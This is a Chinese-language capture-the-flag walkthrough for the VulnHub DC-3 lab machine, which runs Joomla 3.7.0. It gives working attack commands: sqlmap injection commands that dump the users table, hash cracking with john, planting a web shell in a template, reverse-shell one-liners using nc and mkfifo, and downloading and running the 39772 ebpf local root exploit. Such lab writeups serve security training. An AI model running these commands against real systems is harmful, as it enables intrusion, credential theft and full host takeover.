准备DC-3靶机在(vulnhub),并查看MAC地址为后期扫描做准备(黑盒测试)
1.nmap扫描找到dc-3靶机地址
nmap -sP 192.168.1.15 -p 1-65535 -oN nmap.sP //nmap扫描
netdiscover -r 192.168.1.0/24 //netdiscover扫描这两个都可以
nmap -A 192.168.1.15 -p 1-65535 -oN nmap.A
whatweb http://192.168.1.15
发现主机是linux,ubuntu,网站是开源之一的Joomla站搭建
4.joomscan扫描
joomscan可以扫描检测joomla整站程序搭建的网站是否存在文件包含,sql注入,命令执行漏洞.
joomscan --url http://192.168.1.15
扫描出joomla的版本和一些网页目录,网站后台
查看这些网页:
5.利用kali自带漏洞源查找joomla 3.7.0可能存在漏洞
searchsploit joomla 3.7.0
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomalv370_sqli.txt
发现joomla存在sql注入漏洞,把他复制到目录下打开
发现存在注入的url和SQLmap用法
1.列出数据库
sqlmap -u "http://l192.168.1.15/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
sqlmap -u "http://l192.168.1.15/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --columns -p list[fullordering]
3.列出字段
sqlmap -u "http://192.168.1.15/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
4.查看字段内容
sqlmap -u "http://192.168.1.15/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C name,password --dump -p list[fullordering]
发现密码是一串哈希值
5.对hash值解密爆破
将哈希值存入txt文件中
vim joomlav370_admin_hash.txt
john joomlav370_admin_hash.txt
1.成功登陆随便看看
发现在这个目录下有一个模板(通常模板是在根目录下我们尝试了一下发现模板不是根目录下)
进入这个模板发现可以创建文件以及管理文件,这里我们想到上传一句话木马,然后菜刀连接,但是我们不知道一句话木马的位置
此时突然想到之前扫描出来的网站目录和现在目录相关的有templates,访问该目录
猜想beez3在templates目录下(无报错说明正确)
接下来我们可以在该目录下html文件中添加木马
然后访问看是否上传成功
打开终端(用户权限为www-date,接下来要反弹shell和提权)
为什么要反弹shell?
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
kali本地监听
nc -lvvp 2333
蚁剑虚拟终端(服务端)主动连接kali(客户端)
nc -e /bin/bash 192.168.1.12 2333
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.12 2333 >/tmp/f
到达这里后,我们目前只知道服务端版本信息和网站指纹,所以可以尝试系统漏洞提权
思路·:
1.利用操作系统本版号 (这里是ubuntu 16.04)
2.根据版本号搜索exp
3.反弹shell(这里我们已经反弹)
4.利用exp提权
1.找到漏洞后后把他复制到本地:
searchsploit ubuntu 16.04
cp /usr/share/exploitdb/exploits/linux/local/39772.txt ubuntu1604_shell.txt
cat ubuntu1604_shell.txt
2.打开并下载exp
然后下载:(这里由于是国外服务器所以我们下载失败)
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
我们可以把这个exp放在本地搭建的服务器上,然后wget下载,下面是exp资源(这里注意wget下载是在反弹shell的主机)
EXP资源
链接:https://pan.baidu.com/s/1AeuJrP-T6elka5aZP9KL9g
提取码:0fkw
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doublepu
4.运行脚本提权成功
然后进去 /root目录下,查看文件发现flag